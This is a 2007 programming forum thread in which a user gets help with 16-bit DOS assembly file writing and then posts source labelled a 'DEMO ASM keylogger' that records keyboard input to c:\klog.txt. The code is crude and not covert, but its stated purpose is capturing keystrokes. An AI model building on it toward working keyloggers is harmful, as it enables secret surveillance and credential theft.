Write to file help

hey, my goal is to write keystrokes to a file, as of now, I am only trying to write a predefined string to a text file. So far, my code causes an error with the CPU in the debugger, and when ran, opens and hangs. Was wondering if someone could take a look at my source to see if I have written something wrong. Thanks

;---------------
; Author: 3mu180r
; Company: Black List Softwrae
; Purpose: Write keystrokes to log.txt
; Assembler: TASM 5, 16 bit
;---------------
;
.model small
.stack
.data

log_File db 'c:klog.txt',0
file_handle dw ?
test_write db "This is a test.","$"

.code

start proc near
mov dx,seg log_File ; store offset of logFile in dx
mov al,1 ; 0 = read only. 1 = write only. 2 = read & write
call klog ; jump to openfile procedure
mov file_handle,ax
call kill_me ; exit the application
start endp

klog proc near
push cx ; put cx on stack
mov ah,3Dh ; open function
mov bx,file_handle ; get file handle into bx

jc bail ; error = flag clear
; else file opened
mov ah,40h ; write function
mov cx,20 ; number of bytes
mov dx,seg test_write ; offset of output buffer
int 21h ; execute
bail:
sub ax,ax ; if unsuccessful, return zero
pop cx ; pull cx off stack
ret ; goto start

klog endp

kill_me proc near
mov ax,4c00h ; end clean
int 21h ; execute
kill_me endp

end start
[1827 byte] By [3mu180r] at [2007-11-19 10:53:30]
# 1 Re: Write to file help
Play with this

.model small
.stack 200h
.data
WriteMessage db "An error has occurred (WRITING)$"
OpenMessage db "An error has occurred (OPENING)$"
CreateMessage db "An error has occurred (CREATING)$"

testwrite DB "This is a test",0
log_file db "c:\klog.txt",0 ;name of file to open
Handle dw ? ;to store file handle
msglen equ $-testwrite
.code
.startup
mov ax,@data ;base address of data segment
mov ds,ax ;put it in ds
mov dx,offset log_file ;put offset of filename in dx
xor cx,cx ;clear cx - make ordinary file
mov ah,3Ch ;function 3Ch - create a file
int 21h ;call DOS service

jc CreateError ;jump if there is an error

mov dx,offset log_file ;put offset of filename in dx
mov al,2 ;access mode -read and write
mov ah,3Dh ;function 3Dh - open the file
int 21h ;call dos service

jc OpenError ;jump if there is an error

mov Handle,ax ;save value of handle
mov dx,offset testwrite ;address of information to write
mov bx,Handle ;file handle for file
mov cx,msglen ;text length
mov ah,40h ;function 40h - write to file
int 21h ;call dos service

jc WriteError ;jump if there is an error

cmp ax,cx ;was all the data written?
jne WriteError ;no it wasn't - error!

mov bx,Handle ;put file handle in bx
mov ah,3Eh ;function 3Eh - close a file
int 21h ;call dos service

ReturnToDOS:
mov ax,4C00h ;terminate program
int 21h

WriteError:
mov dx,offset WriteMessage ;display an error message
jmp EndError

OpenError:
mov dx,offset OpenMessage ;display an error message
jmp EndError

CreateError:
mov dx,offset CreateMessage ;display an error message

EndError:
mov ah,09h ;using function 09h
int 21h ;call dos service
mov ax,4C01h ;terminate program
int 21h

.exit
end
BytePtr at 2007-11-10 3:55:53 >
# 2 Re: Write to file help
simply brilliant work. Thank you, I see now where I was making my mistakes. Much appreciated, once again. best regards!
3mu180r at 2007-11-10 3:56:44 >
# 3 Re: Write to file help
Alright, I got it to work finally! Here is the source for anyone interested, enjoy!

;---------------
; Author: 3mu180r
; Company: Black List Softwrae
; Purpose: DEMO ASM keylogger
; Assembler: TASM 5, 16 bit
; Credits: BytePtr
;---------------
.model small
.stack 200h
.data

WriteMessage db "An error has occurred (WRITING)$"
OpenMessage db "An error has occurred (OPENING)$"
CreateMessage db "An error has occurred (CREATING)$"
logfile db "c:\klog.txt",0
Handle dw ?
stroke db 8 dup(0)
len equ $-stroke

.code

start proc near
mov ax,@data ; base address of data segment
mov ds,ax ; put it in ds
mov dx,offset logfile ; put offset of filename in dx
xor cx,cx ; clear cx - make ordinary file
mov ah,3Ch ; function 3Ch - create a file
int 21h ; execute

jc CreateError ; jump if there is an error

mov dx,offset logfile ; put offset of filename in dx
mov al,2 ; access mode -read and write
mov ah,3Dh ; function 3Dh - open the file
int 21h ; execute

jc OpenError ; jump if there is an error

mov Handle,ax ; save value of handle

jmp colChars ; jump to store strokes
write:
mov dx,offset stroke ; address of strokes
mov bx,Handle ; file handle for file
mov cx,len ; text length
mov ah,40h ; function 40h - write to file
int 21h ; execute

jc WriteError ; jump if there is an error

cmp ax,cx ; was all the data written?
jne WriteError ; no it wasn't - error!

mov bx,Handle ; put file handle in bx
mov ah,3Eh ; function 3Eh - close a file
int 21h ; execute

ReturnToDOS:
mov ax,4C00h ; terminate program
int 21h ; execute

WriteError:
mov dx,offset WriteMessage ; display an error message
jmp EndError

OpenError:
mov dx,offset OpenMessage ; display an error message
jmp EndError

CreateError:
mov dx,offset CreateMessage ; display an error message

EndError:
mov ah,09h ; using function 09h
int 21h ; call dos service
mov ax,4C01h ; terminate program
int 21h ; execute

start endp

colChars proc near
mov ah,0Ah ; BIOS Keyboard buffer
mov dx,offset stroke ; get offset of stroke
mov [stroke],al ; store buffer into buffer
int 21h ; execute
jmp write ; goto write
colChars endp

end start

credits to BytePtr!
3mu180r at 2007-11-10 3:57:54 >